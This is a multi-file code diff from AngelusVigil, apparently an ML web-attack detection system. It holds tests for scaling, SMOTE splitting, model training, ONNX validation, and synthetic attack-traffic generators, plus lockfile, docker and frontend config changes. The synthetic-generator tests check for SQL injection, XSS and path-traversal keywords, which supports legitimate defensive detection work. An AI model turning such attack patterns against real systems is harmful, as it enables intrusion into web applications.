def test_save_json_is_valid_json(
self, sample_data: np.ndarray, tmp_path: Path
) -> None:
def test_save_json_is_valid_json(self, sample_data: np.ndarray,
tmp_path: Path) -> None:
"""
Saved JSON contains center, scale, and n_features keys.
"""
scaler = FeatureScaler()
scaler.fit(sample_data)
path = tmp_path / "scaler.json"
@ -75,9 +99,11 @@ class TestFeatureScaler:
assert "scale" in data
assert "n_features" in data
def test_load_json_round_trip(
self, sample_data: np.ndarray, tmp_path: Path
) -> None:
def test_load_json_round_trip(self, sample_data: np.ndarray,
tmp_path: Path) -> None:
"""
Loading from JSON produces a scaler with identical transform output.
"""
scaler = FeatureScaler()
scaler.fit(sample_data)
path = tmp_path / "scaler.json"
@ -91,11 +117,17 @@ class TestFeatureScaler:
np.testing.assert_allclose(original_out, loaded_out, atol=1e-6)
def test_transform_before_fit_raises(self) -> None:
"""
Calling transform before fit raises RuntimeError.
"""
scaler = FeatureScaler()
with pytest.raises(RuntimeError):
scaler.transform(np.zeros((5, 35), dtype=np.float32))
def test_fit_transform_convenience(self, sample_data: np.ndarray) -> None:
"""
fit_transform fits and transforms in one call.
"""
scaler = FeatureScaler()
result = scaler.fit_transform(sample_data)
assert result.shape == sample_data.shape

View File

@ -0,0 +1,152 @@
"""
©AngelaMos | 2026
test_splitting.py
"""
import numpy as np
import pytest
from ml.splitting import TrainingSplit, prepare_training_data
N_NORMAL = 160
N_ATTACK = 40
N_FEATURES = 35
TOTAL = N_NORMAL + N_ATTACK
def _make_dataset(
n_normal: int = N_NORMAL,
n_attack: int = N_ATTACK,
n_features: int = N_FEATURES,
) -> tuple[np.ndarray, np.ndarray]:
"""
Generate synthetic imbalanced dataset
"""
rng = np.random.default_rng(42)
X = rng.standard_normal(
(n_normal + n_attack, n_features)).astype(np.float32)
y = np.array(
[0] * n_normal + [1] * n_attack,
dtype=np.int32,
)
return X, y
class TestPrepareTrainingData:
"""
Tests for stratified splitting with SMOTE
"""
def test_returns_training_split(self) -> None:
"""
Returns a TrainingSplit dataclass
"""
X, y = _make_dataset()
result = prepare_training_data(X, y)
assert isinstance(result, TrainingSplit)
def test_split_proportions(self) -> None:
"""
Validates 70/15/15 split proportions
"""
X, y = _make_dataset()
result = prepare_training_data(X, y)
expected_val = int(TOTAL * 0.15)
expected_test = int(TOTAL * 0.15)
tolerance = int(TOTAL * 0.05)
assert abs(result.X_val.shape[0] - expected_val) <= tolerance
assert abs(result.X_test.shape[0] - expected_test) <= tolerance
def test_stratified_class_distribution(self, ) -> None:
"""
Splits preserve the original class ratio
"""
X, y = _make_dataset()
original_ratio = np.mean(y == 1)
result = prepare_training_data(X, y)
val_ratio = np.mean(result.y_val == 1)
test_ratio = np.mean(result.y_test == 1)
ratio_tol = 0.10
assert abs(val_ratio - original_ratio) < ratio_tol
assert abs(test_ratio - original_ratio) < ratio_tol
def test_smote_increases_minority(self) -> None:
"""
SMOTE brings minority ratio near strategy
"""
X, y = _make_dataset()
result = prepare_training_data(
X,
y,
smote_strategy=0.3,
)
minority = np.sum(result.y_train == 1)
majority = np.sum(result.y_train == 0)
ratio = minority / majority
assert ratio >= 0.25
def test_val_test_untouched(self) -> None:
"""
Val test sizes match pre-SMOTE counts
"""
X, y = _make_dataset()
result = prepare_training_data(X, y)
remainder = TOTAL - int(TOTAL * 0.70)
half = remainder // 2
tol = 3
assert abs(result.X_val.shape[0] - half) <= tol
assert abs(result.X_test.shape[0] - half) <= tol
assert (result.X_val.shape[0] == result.y_val.shape[0])
assert (result.X_test.shape[0] == result.y_test.shape[0])
def test_x_normal_train_only_normals(self, ) -> None:
"""
X_normal_train has only class-0 rows
"""
X, y = _make_dataset()
result = prepare_training_data(X, y)
expected = int(N_NORMAL * 0.70)
tol = int(TOTAL * 0.05)
assert abs(result.X_normal_train.shape[0] - expected) <= tol
assert (result.X_normal_train.shape[1] == N_FEATURES)
def test_small_dataset_works(self) -> None:
"""
Small 50-sample dataset succeeds
"""
X, y = _make_dataset(
n_normal=40,
n_attack=10,
n_features=N_FEATURES,
)
result = prepare_training_data(X, y, smote_k=3)
assert isinstance(result, TrainingSplit)
assert result.X_train.shape[0] > 0
assert result.X_val.shape[0] > 0
assert result.X_test.shape[0] > 0
def test_all_one_class_raises_value_error(self, ) -> None:
"""
Single-class labels raise ValueError
"""
rng = np.random.default_rng(99)
X = rng.standard_normal((100, N_FEATURES)).astype(np.float32)
y_zeros = np.zeros(100, dtype=np.int32)
with pytest.raises(ValueError):
prepare_training_data(X, y_zeros)
y_ones = np.ones(100, dtype=np.int32)
with pytest.raises(ValueError):
prepare_training_data(X, y_ones)
def test_smote_skipped_minority_too_small(self, ) -> None:
"""
Tiny minority skips SMOTE gracefully
"""
X, y = _make_dataset(
n_normal=90,
n_attack=10,
n_features=N_FEATURES,
)
result = prepare_training_data(X, y, smote_k=50)
assert isinstance(result, TrainingSplit)
assert result.X_train.shape[0] > 0

View File

@ -0,0 +1,179 @@
"""
©AngelaMos | 2026
test_synthetic.py
"""
import numpy as np
from app.core.features.encoder import encode_for_inference
from app.core.features.extractor import extract_request_features
from app.core.features.mappings import WINDOWED_FEATURE_NAMES
from app.core.ingestion.parsers import ParsedLogEntry
from ml.synthetic import (
generate_log4shell_requests,
generate_mixed_dataset,
generate_normal_requests,
generate_scanner_requests,
generate_sqli_requests,
generate_ssrf_requests,
generate_traversal_requests,
generate_xss_requests,
)
class TestGenerators:
"""
Test individual attack and normal traffic generators
"""
def test_sqli_returns_correct_count(self, ) -> None:
"""
generate_sqli_requests returns the requested count
"""
results = generate_sqli_requests(10)
assert len(results) == 10
def test_xss_returns_correct_count(self, ) -> None:
"""
generate_xss_requests returns the requested count
"""
results = generate_xss_requests(10)
assert len(results) == 10
def test_traversal_returns_correct_count(self, ) -> None:
"""
generate_traversal_requests returns the requested count
"""
results = generate_traversal_requests(10)
assert len(results) == 10
def test_log4shell_returns_correct_count(self, ) -> None:
"""
generate_log4shell_requests returns the requested count
"""
results = generate_log4shell_requests(10)
assert len(results) == 10
def test_ssrf_returns_correct_count(self, ) -> None:
"""
generate_ssrf_requests returns the requested count
"""
results = generate_ssrf_requests(10)
assert len(results) == 10
def test_scanner_returns_correct_count(self, ) -> None:
"""
generate_scanner_requests returns the requested count
"""
results = generate_scanner_requests(10)
assert len(results) == 10
def test_normal_returns_correct_count(self, ) -> None:
"""
generate_normal_requests returns the requested count
"""
results = generate_normal_requests(20)
assert len(results) == 20
def test_sqli_has_attack_payloads(self, ) -> None:
"""
SQLi entries contain injection patterns in query string
"""
results = generate_sqli_requests(20)
has_sqli = any("OR" in e.query_string or "UNION" in e.query_string
or "DROP" in e.query_string or "SLEEP" in e.query_string
for e in results)
assert has_sqli
def test_xss_has_script_patterns(self, ) -> None:
"""
XSS entries contain script-related patterns
"""
results = generate_xss_requests(20)
has_xss = any(
"script" in e.query_string.lower() or "alert" in
e.query_string.lower() or "onerror" in e.query_string.lower()
for e in results)
assert has_xss
def test_traversal_has_dotdot(self) -> None:
"""
Traversal entries contain ../ in path
"""
results = generate_traversal_requests(20)
has_traversal = any(".." in e.path or "%2e" in e.path.lower()
for e in results)
assert has_traversal
def test_all_entries_are_parsed_log_entry(self, ) -> None:
"""
All generators return ParsedLogEntry instances
"""
generators = [
generate_sqli_requests,
generate_xss_requests,
generate_traversal_requests,
generate_log4shell_requests,
generate_ssrf_requests,
generate_scanner_requests,
generate_normal_requests,
]
for gen in generators:
results = gen(5)
assert all(isinstance(e, ParsedLogEntry) for e in results)
def test_entries_pass_feature_extraction(self, ) -> None:
"""
All generated entries extract and encode without error
"""
generators = [
generate_sqli_requests,
generate_xss_requests,
generate_traversal_requests,
generate_log4shell_requests,
generate_ssrf_requests,
generate_scanner_requests,
generate_normal_requests,
]
for gen in generators:
for entry in gen(5):
features = extract_request_features(entry)
for name in WINDOWED_FEATURE_NAMES:
features[name] = 0.0
vector = encode_for_inference(features)
assert len(vector) == 35
class TestMixedDataset:
"""
Test end-to-end mixed dataset generation
"""
def test_returns_correct_shape(self) -> None:
"""
generate_mixed_dataset returns X with 35 columns
"""
X, y = generate_mixed_dataset(100, 60)
assert X.shape == (160, 35)
def test_contains_both_labels(self) -> None:
"""
y array contains both 0 and 1
"""
_, y = generate_mixed_dataset(100, 60)
assert 0 in y
assert 1 in y
def test_label_counts_match(self) -> None:
"""
Label counts match requested normal and attack counts
"""
_, y = generate_mixed_dataset(100, 60)
assert np.sum(y == 0) == 100
assert np.sum(y == 1) == 60
def test_values_are_finite(self) -> None:
"""
All feature values are finite
"""
X, _ = generate_mixed_dataset(50, 30)
assert np.all(np.isfinite(X))

View File

@ -1,6 +1,8 @@
"""
©AngelaMos | 2026
test_training.py
Tests training pipelines for the autoencoder, random forest, and isolation forest models.
"""
import numpy as np
@ -14,10 +16,18 @@ class TestAutoencoderTraining:
@pytest.fixture
def normal_data(self) -> np.ndarray:
"""
Three-hundred samples of clipped 35-dimensional float32 data representing normal traffic.
"""
rng = np.random.default_rng(42)
return (rng.standard_normal((300, 35)) * 0.3 + 0.5).astype(np.float32).clip(0, 1)
return (rng.standard_normal(
(300, 35)) * 0.3 + 0.5).astype(np.float32).clip(0, 1)
def test_returns_model_and_threshold(self, normal_data: np.ndarray) -> None:
def test_returns_model_and_threshold(self,
normal_data: np.ndarray) -> None:
"""
Training returns model, threshold, scaler, and history keys.
"""
result = train_autoencoder(normal_data, epochs=5, batch_size=32)
assert "model" in result
assert "threshold" in result
@ -25,24 +35,38 @@ class TestAutoencoderTraining:
assert "history" in result
def test_threshold_is_positive(self, normal_data: np.ndarray) -> None:
"""
Computed reconstruction error threshold is a positive value.
"""
result = train_autoencoder(normal_data, epochs=5, batch_size=32)
assert result["threshold"] > 0.0
def test_history_has_train_loss(self, normal_data: np.ndarray) -> None:
"""
Training history includes one train_loss entry per epoch.
"""
result = train_autoencoder(normal_data, epochs=5, batch_size=32)
assert "train_loss" in result["history"]
assert len(result["history"]["train_loss"]) == 5
def test_custom_percentile(self, normal_data: np.ndarray) -> None:
result_95 = train_autoencoder(
normal_data, epochs=3, batch_size=32, percentile=95.0
)
result_99 = train_autoencoder(
normal_data, epochs=3, batch_size=32, percentile=99.0
)
"""
Higher percentile produces a higher or equal reconstruction threshold.
"""
result_95 = train_autoencoder(normal_data,
epochs=3,
batch_size=32,
percentile=95.0)
result_99 = train_autoencoder(normal_data,
epochs=3,
batch_size=32,
percentile=99.0)
assert result_99["threshold"] >= result_95["threshold"]
def test_model_is_in_eval_mode(self, normal_data: np.ndarray) -> None:
"""
Returned model is in eval mode after training completes.
"""
result = train_autoencoder(normal_data, epochs=3, batch_size=32)
assert not result["model"].training
@ -51,37 +75,50 @@ class TestRandomForestTraining:
@pytest.fixture
def labeled_data(self) -> tuple[np.ndarray, np.ndarray]:
"""
Four-hundred samples with 300 benign and 100 attack labels.
"""
rng = np.random.default_rng(42)
X = rng.standard_normal((400, 35)).astype(np.float32)
y = np.concatenate([np.zeros(300, dtype=np.int64), np.ones(100, dtype=np.int64)])
y = np.concatenate(
[np.zeros(300, dtype=np.int64),
np.ones(100, dtype=np.int64)])
return X, y
def test_returns_model_and_metrics(
self, labeled_data: tuple[np.ndarray, np.ndarray]
) -> None:
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
"""
Training returns model and metrics dict.
"""
X, y = labeled_data
result = train_random_forest(X, y)
assert "model" in result
assert "metrics" in result
def test_model_has_predict_proba(
self, labeled_data: tuple[np.ndarray, np.ndarray]
) -> None:
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
"""
Trained model exposes predict_proba for probability scoring.
"""
X, y = labeled_data
result = train_random_forest(X, y)
assert hasattr(result["model"], "predict_proba")
def test_metrics_contain_required_keys(
self, labeled_data: tuple[np.ndarray, np.ndarray]
) -> None:
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
"""
Metrics dict contains f1, pr_auc, accuracy, precision, and recall.
"""
X, y = labeled_data
result = train_random_forest(X, y)
for key in ("f1", "pr_auc", "accuracy", "precision", "recall"):
assert key in result["metrics"]
def test_probabilities_in_valid_range(
self, labeled_data: tuple[np.ndarray, np.ndarray]
) -> None:
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
"""
Predicted probabilities are within the [0, 1] range.
"""
X, y = labeled_data
result = train_random_forest(X, y)
proba = result["model"].predict_proba(X[:10])
@ -89,8 +126,10 @@ class TestRandomForestTraining:
assert proba.max() <= 1.0
def test_metrics_values_in_valid_range(
self, labeled_data: tuple[np.ndarray, np.ndarray]
) -> None:
self, labeled_data: tuple[np.ndarray, np.ndarray]) -> None:
"""
All metric values fall within [0, 1].
"""
X, y = labeled_data
result = train_random_forest(X, y)
for value in result["metrics"].values():
@ -101,24 +140,39 @@ class TestIsolationForestTraining:
@pytest.fixture
def normal_data(self) -> np.ndarray:
"""
Two-hundred samples of 35-dimensional standard normal float32 data.
"""
rng = np.random.default_rng(42)
return rng.standard_normal((200, 35)).astype(np.float32)
def test_returns_model(self, normal_data: np.ndarray) -> None:
"""
Training returns a model key in the result dict.
"""
result = train_isolation_forest(normal_data)
assert "model" in result
def test_model_has_score_samples(self, normal_data: np.ndarray) -> None:
"""
Trained model exposes score_samples for anomaly scoring.
"""
result = train_isolation_forest(normal_data)
assert hasattr(result["model"], "score_samples")
def test_returns_metrics_with_n_samples(self, normal_data: np.ndarray) -> None:
def test_returns_metrics_with_n_samples(self,
normal_data: np.ndarray) -> None:
"""
Metrics include n_samples matching the training set size.
"""
result = train_isolation_forest(normal_data)
assert result["metrics"]["n_samples"] == 200
def test_anomaly_scores_distinguish_normal_and_outlier(
self, normal_data: np.ndarray
) -> None:
self, normal_data: np.ndarray) -> None:
"""
Normal training data scores higher than extreme outliers.
"""
result = train_isolation_forest(normal_data)
model = result["model"]
normal_scores = model.score_samples(normal_data[:50])

View File

@ -0,0 +1,83 @@
"""
©AngelaMos | 2026
test_training_e2e.py
"""
from pathlib import Path
from app.core.detection.ensemble import (
blend_scores,
fuse_scores,
normalize_ae_score,
normalize_if_score,
)
from app.core.detection.inference import InferenceEngine
from ml.orchestrator import TrainingOrchestrator
from ml.synthetic import generate_mixed_dataset
N_NORMAL = 500
N_ATTACK = 200
N_FEATURES = 35
ENSEMBLE_WEIGHTS = {"ae": 0.4, "rf": 0.4, "if": 0.2}
class TestTrainingE2E:
"""
End-to-end training integration test
"""
def test_full_training_produces_loadable_models(self,
tmp_path: Path) -> None:
"""
Full pipeline produces models that load and predict
"""
X, y = generate_mixed_dataset(N_NORMAL, N_ATTACK)
assert X.shape == (
N_NORMAL + N_ATTACK,
N_FEATURES,
)
model_dir = tmp_path / "models"
orch = TrainingOrchestrator(output_dir=model_dir, epochs=3)
result = orch.run(X, y)
expected_files = [
"ae.onnx",
"rf.onnx",
"if.onnx",
"scaler.json",
"threshold.json",
]
for filename in expected_files:
assert (model_dir / filename).exists(), f"Missing {filename}"
engine = InferenceEngine(str(model_dir))
assert engine.is_loaded
sample = X[:5]
predictions = engine.predict(sample)
assert predictions is not None
assert "ae" in predictions
assert "rf" in predictions
assert "if" in predictions
assert len(predictions["ae"]) == 5
threshold = engine.threshold
for i in range(5):
ae_score = normalize_ae_score(predictions["ae"][i], threshold)
if_score = normalize_if_score(predictions["if"][i])
rf_score = predictions["rf"][i]
scores = {
"ae": ae_score,
"rf": rf_score,
"if": if_score,
}
fused = fuse_scores(scores, ENSEMBLE_WEIGHTS)
assert 0.0 <= fused <= 1.0
blended = blend_scores(fused, 0.0)
assert 0.0 <= blended <= 1.0
assert result.passed_gates is not None
assert isinstance(result.passed_gates, bool)

View File

@ -0,0 +1,189 @@
"""
©AngelaMos | 2026
test_validation.py
"""
import json
from pathlib import Path
import numpy as np
import pytest
from sklearn.ensemble import IsolationForest, RandomForestClassifier
from ml.autoencoder import ThreatAutoencoder
from ml.export_onnx import (
export_autoencoder,
export_isolation_forest,
export_random_forest,
)
from ml.scaler import FeatureScaler
from ml.validation import ValidationResult, validate_ensemble
@pytest.fixture
def trained_model_dir(tmp_path: Path) -> Path:
"""
Create a temp directory with trained ONNX models for validation testing
"""
rng = np.random.default_rng(42)
X_normal = rng.standard_normal((200, 35)).astype(np.float32)
X_attack = rng.standard_normal((80, 35)).astype(np.float32) + 3.0
X = np.vstack([X_normal, X_attack])
y = np.array([0] * 200 + [1] * 80, dtype=np.int32)
ae = ThreatAutoencoder(input_dim=35)
export_autoencoder(ae, tmp_path / "ae.onnx")
rf = RandomForestClassifier(n_estimators=10, random_state=42)
rf.fit(X, y)
export_random_forest(rf, 35, tmp_path / "rf.onnx")
iso = IsolationForest(n_estimators=10, random_state=42)
iso.fit(X_normal)
export_isolation_forest(iso, 35, tmp_path / "if.onnx")
scaler = FeatureScaler()
scaler.fit(X_normal)
scaler.save_json(tmp_path / "scaler.json")
(tmp_path / "threshold.json").write_text(json.dumps({"threshold": 0.05}))
return tmp_path
@pytest.fixture
def separable_test_data() -> tuple[np.ndarray, np.ndarray]:
"""
Test data where normal and attack clusters are well-separated
"""
rng = np.random.default_rng(99)
X_normal = rng.standard_normal((50, 35)).astype(np.float32)
X_attack = (rng.standard_normal((30, 35)).astype(np.float32) + 3.0)
X = np.vstack([X_normal, X_attack])
y = np.array([0] * 50 + [1] * 30, dtype=np.int32)
return X, y
class TestValidateEnsemble:
"""
Test ensemble validation with metric gates
"""
def test_returns_validation_result(
self,
trained_model_dir: Path,
separable_test_data: tuple[np.ndarray, np.ndarray],
) -> None:
"""
validate_ensemble returns a ValidationResult instance
"""
X_test, y_test = separable_test_data
result = validate_ensemble(trained_model_dir, X_test, y_test)
assert isinstance(result, ValidationResult)
def test_result_has_all_metrics(
self,
trained_model_dir: Path,
separable_test_data: tuple[np.ndarray, np.ndarray],
) -> None:
"""
ValidationResult contains precision, recall, f1, pr_auc, roc_auc
"""
X_test, y_test = separable_test_data
result = validate_ensemble(trained_model_dir, X_test, y_test)
assert 0.0 <= result.precision <= 1.0
assert 0.0 <= result.recall <= 1.0
assert 0.0 <= result.f1 <= 1.0
assert 0.0 <= result.pr_auc <= 1.0
assert 0.0 <= result.roc_auc <= 1.0
def test_confusion_matrix_shape(
self,
trained_model_dir: Path,
separable_test_data: tuple[np.ndarray, np.ndarray],
) -> None:
"""
Confusion matrix is 2x2
"""
X_test, y_test = separable_test_data
result = validate_ensemble(trained_model_dir, X_test, y_test)
assert len(result.confusion_matrix) == 2
assert len(result.confusion_matrix[0]) == 2
assert len(result.confusion_matrix[1]) == 2
def test_gate_details_contains_both_gates(
self,
trained_model_dir: Path,
separable_test_data: tuple[np.ndarray, np.ndarray],
) -> None:
"""
gate_details has pr_auc and f1 entries
"""
X_test, y_test = separable_test_data
result = validate_ensemble(trained_model_dir, X_test, y_test)
assert "pr_auc" in result.gate_details
assert "f1" in result.gate_details
def test_gates_pass_with_low_thresholds(
self,
trained_model_dir: Path,
separable_test_data: tuple[np.ndarray, np.ndarray],
) -> None:
"""
passed_gates is True when gates are set very low
"""
X_test, y_test = separable_test_data
result = validate_ensemble(
trained_model_dir,
X_test,
y_test,
pr_auc_gate=0.01,
f1_gate=0.01,
)
assert result.passed_gates is True
def test_gates_fail_with_high_thresholds(
self,
trained_model_dir: Path,
separable_test_data: tuple[np.ndarray, np.ndarray],
) -> None:
"""
passed_gates is False when gates are impossibly high
"""
X_test, y_test = separable_test_data
result = validate_ensemble(
trained_model_dir,
X_test,
y_test,
pr_auc_gate=1.0,
f1_gate=1.0,
)
assert result.passed_gates is False
def test_custom_ensemble_weights(
self,
trained_model_dir: Path,
separable_test_data: tuple[np.ndarray, np.ndarray],
) -> None:
"""
Custom ensemble weights are accepted without error
"""
X_test, y_test = separable_test_data
result = validate_ensemble(
trained_model_dir,
X_test,
y_test,
ensemble_weights={
"ae": 0.5,
"rf": 0.3,
"if": 0.2
},
)
assert isinstance(result, ValidationResult)

View File

@ -136,6 +136,7 @@ ml = [
{ name = "mlflow" },
{ name = "numpy" },
{ name = "onnxruntime" },
{ name = "onnxscript" },
{ name = "pandas" },
{ name = "scikit-learn" },
{ name = "skl2onnx" },
@ -157,6 +158,7 @@ requires-dist = [
{ name = "mypy", marker = "extra == 'dev'", specifier = ">=1.19.1" },
{ name = "numpy", marker = "extra == 'ml'", specifier = ">=2.4.2" },
{ name = "onnxruntime", marker = "extra == 'ml'", specifier = ">=1.24.1" },
{ name = "onnxscript", marker = "extra == 'ml'", specifier = ">=0.6.2" },
{ name = "orjson", specifier = ">=3.11.7" },
{ name = "pandas", marker = "extra == 'ml'", specifier = ">=2.2.0,<3" },
{ name = "pydantic", specifier = ">=2.12.5" },
@ -1589,6 +1591,22 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/01/a0/4fb0e6d36eaf079af366b2c1f68bafe92df6db963e2295da84388af64abc/onnx-1.20.1-cp312-abi3-win_arm64.whl", hash = "sha256:21d747348b1c8207406fa2f3e12b82f53e0d5bb3958bcd0288bd27d3cb6ebb00", size = 16344155, upload-time = "2026-01-10T01:39:45.536Z" },
]
[[package]]
name = "onnx-ir"
version = "0.2.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "ml-dtypes" },
{ name = "numpy" },
{ name = "onnx" },
{ name = "sympy" },
{ name = "typing-extensions" },
]
sdist = { url = "https://files.pythonhosted.org/packages/b2/a5/acc43c8fa6edbc584d127fb6bbd13ae9ebfc01b9675c74e0da2de15fa4a6/onnx_ir-0.2.0.tar.gz", hash = "sha256:8bad3906691987290789b26d05e0dbff467029a0b1e411e12e4cae02e43503e4", size = 141693, upload-time = "2026-02-24T02:31:10.998Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/4a/df/a99736bcca6b16e36c687ce4996abcf4ce73c514fddd9e730cfcb6a334f2/onnx_ir-0.2.0-py3-none-any.whl", hash = "sha256:eb14d1399c2442bd1ff702719e70074e9cedfa3af5729416a32752c9e0f82591", size = 164100, upload-time = "2026-02-24T02:31:09.454Z" },
]
[[package]]
name = "onnxruntime"
version = "1.24.1"
@ -1609,6 +1627,23 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/ab/a2/cfcf009eb38d90cc628c087b6506b3dfe1263387f3cbbf8d272af4fef957/onnxruntime-1.24.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:34488aa760fb5c2e6d06a7ca9241124eb914a6a06f70936a14c669d1b3df9598", size = 17099815, upload-time = "2026-02-05T17:31:43.092Z" },
]
[[package]]
name = "onnxscript"
version = "0.6.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "ml-dtypes" },
{ name = "numpy" },
{ name = "onnx" },
{ name = "onnx-ir" },
{ name = "packaging" },
{ name = "typing-extensions" },
]
sdist = { url = "https://files.pythonhosted.org/packages/e7/2b/538fdeb0e25bed5d7e0f954af5710543e2629499fb74381afc3333f8a8ae/onnxscript-0.6.2.tar.gz", hash = "sha256:abb2e6f464db40c9b8c7fbb3e64cca04cf3f4495e67c4eda5eac17b784191ce3", size = 590865, upload-time = "2026-02-10T22:53:39.638Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/66/56/e6b179397497ab93266b6eb00743403a6a699a29063a423c4a14595d3db9/onnxscript-0.6.2-py3-none-any.whl", hash = "sha256:20e3c3fd1da19b3655549d5455a2df719db47374fe430e01e865ae69127c37b9", size = 689064, upload-time = "2026-02-10T22:53:41.663Z" },
]
[[package]]
name = "opentelemetry-api"
version = "1.39.1"

View File

@ -74,6 +74,27 @@ services:
start_period: 10s
restart: always
frontend:
build:
context: .
dockerfile: infra/docker/vite.prod
container_name: vigil-frontend
ports:
- "${FRONTEND_HOST_PORT:-80}:80"
depends_on:
backend:
condition: service_healthy
networks:
- vigil_network
- certgames_net
healthcheck:
test: ["CMD", "wget", "-qO-", "http://localhost/health"]
interval: 30s
timeout: 5s
retries: 3
start_period: 10s
restart: always
geoip-updater:
image: maxmindinc/geoipupdate:latest
container_name: vigil-geoip

View File

@ -71,6 +71,24 @@ services:
retries: 3
start_period: 15s
frontend:
build:
context: .
dockerfile: infra/docker/vite.dev
container_name: vigil-frontend-dev
environment:
VITE_API_TARGET: http://backend:8000
ports:
- "${FRONTEND_HOST_PORT:-46969}:5173"
volumes:
- ./frontend:/app
- frontend_node_modules_dev:/app/node_modules
depends_on:
backend:
condition: service_healthy
networks:
- vigil_dev
networks:
vigil_dev:
driver: bridge
@ -79,3 +97,4 @@ volumes:
postgres_dev:
redis_dev:
nginx_logs_dev:
frontend_node_modules_dev:

View File

@ -0,0 +1,15 @@
node_modules
build
dist
.git
.gitignore
*.md
.env*
.vscode
.idea
*.log
npm-debug.log*
pnpm-debug.log*
.DS_Store
coverage
.nyc_output

View File

@ -0,0 +1,25 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
dist
dist-ssr
*.local
.vite
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
.DS_Store
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?

View File

@ -0,0 +1,22 @@
# ©AngelaMos | 2025
# .stylelintignore
# Dependencies
node_modules/
# Production builds
dist/
build/
out/
# JS/TS files
**/*.js
**/*.jsx
**/*.ts
**/*.tsx
# Generated files
*.min.css
# Error system styles - ignore from linting
src/core/app/_toastStyles.scss

View File

@ -0,0 +1,94 @@
{
"$schema": "https://biomejs.dev/schemas/2.4.4/schema.json",
"vcs": {
"enabled": true,
"clientKind": "git",
"useIgnoreFile": true
},
"files": {
"includes": ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx", "**/*.json"]
},
"formatter": {
"enabled": true,
"indentStyle": "space",
"indentWidth": 2,
"lineWidth": 82,
"lineEnding": "lf"
},
"javascript": {
"formatter": {
"quoteStyle": "single",
"jsxQuoteStyle": "double",
"semicolons": "asNeeded",
"trailingCommas": "es5",
"arrowParentheses": "always"
}
},
"linter": {
"enabled": true,
"rules": {
"recommended": true,
"complexity": {
"noExcessiveCognitiveComplexity": {
"level": "error",
"options": { "maxAllowedComplexity": 25 }
},
"noForEach": "off",
"useLiteralKeys": "off"
},
"correctness": {
"noUnusedVariables": "error",
"noUnusedImports": "error",
"useExhaustiveDependencies": "warn",
"useHookAtTopLevel": "error",
"noUndeclaredVariables": "error"
},
"style": {
"useImportType": "error",
"useConst": "error",
"useTemplate": "error",
"useSelfClosingElements": "error",
"useFragmentSyntax": "error",
"noNonNullAssertion": "error",
"useConsistentArrayType": {
"level": "error",
"options": { "syntax": "shorthand" }
},
"useNamingConvention": "off"
},
"suspicious": {
"noExplicitAny": "error",
"noDebugger": "error",
"noConsole": "warn",
"noArrayIndexKey": "warn",
"noAssignInExpressions": "error",
"noDoubleEquals": "error",
"noRedeclare": "error",
"noVar": "error"
},
"security": {
"noDangerouslySetInnerHtml": "error"
},
"a11y": {
"useAltText": "error",
"useAnchorContent": "error",
"useKeyWithClickEvents": "error",
"noStaticElementInteractions": "error",
"useButtonType": "error",
"useValidAnchor": "error"
}
}
},
"overrides": [
{
"includes": ["src/main.tsx"],
"linter": {
"rules": {
"style": {
"noNonNullAssertion": "off"
}
}
}
}
]
}

View File

@ -0,0 +1,44 @@
<!doctype html>
<html lang="en">
<head>
<!--
AngelusVigil
Author(s): © AngelaMos, CarterPerez-dev
-->
<meta charset="UTF-8" />
<link
rel="icon"
type="image/x-icon"
href="/assets/favicon.ico"
/>
<link
rel="apple-touch-icon"
type="image/png"
href="/assets/apple-touch-icon.png"
/>
<link
rel="manifest"
href="/assets/site.webmanifest"
/>
<meta
name="viewport"
content="width=device-width, initial-scale=1.0"
/>
<title>AngelusVigil</title>
<meta
name="description"
content="*Cracked*"
/>
<meta
name="author"
content=" ©AngelaMos | 2026 | CarterPerez-dev"
/>
</head>
<body>
<div id="root"></div>
<script
type="module"
src="/src/main.tsx"
></script>
</body>
</html>

View File

@ -0,0 +1,50 @@
{
"name": "frontend-template",
"private": true,
"version": "1.0.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc -b && vite build",
"preview": "vite preview",
"lint": "biome check .",
"lint:fix": "biome check --write .",
"format": "biome format --write .",
"typecheck": "tsc -b",
"lint:scss": "stylelint '**/*.scss'",
"lint:scss:fix": "stylelint '**/*.scss' --fix"
},
"dependencies": {
"@tanstack/react-query": "^5.90.20",
"axios": "^1.13.4",
"react": "^19.2.4",
"react-dom": "^19.2.4",
"react-error-boundary": "^6.1.0",
"react-icon": "^1.0.0",
"react-icons": "^5.5.0",
"react-router-dom": "^7.13.0",
"sonner": "^2.0.7",
"zod": "^4.3.6",
"zustand": "^5.0.10"
},
"devDependencies": {
"@biomejs/biome": "^2.3.13",
"@tanstack/react-query-devtools": "^5.91.2",
"@types/node": "^25.1.0",
"@types/react": "^19.2.10",
"@types/react-dom": "^19.2.3",
"@vitejs/plugin-react": "^5.1.2",
"sass": "^1.97.3",
"stylelint": "^17.0.0",
"stylelint-config-prettier-scss": "^1.0.0",
"stylelint-config-standard-scss": "^17.0.0",
"typescript": "~5.9.3",
"vite": "npm:rolldown-vite@7.3.1",
"vite-tsconfig-paths": "^6.0.5"
},
"pnpm": {
"overrides": {
"vite": "npm:rolldown-vite@7.2.5"
}
}
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 98 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 279 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 565 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

View File

@ -0,0 +1 @@
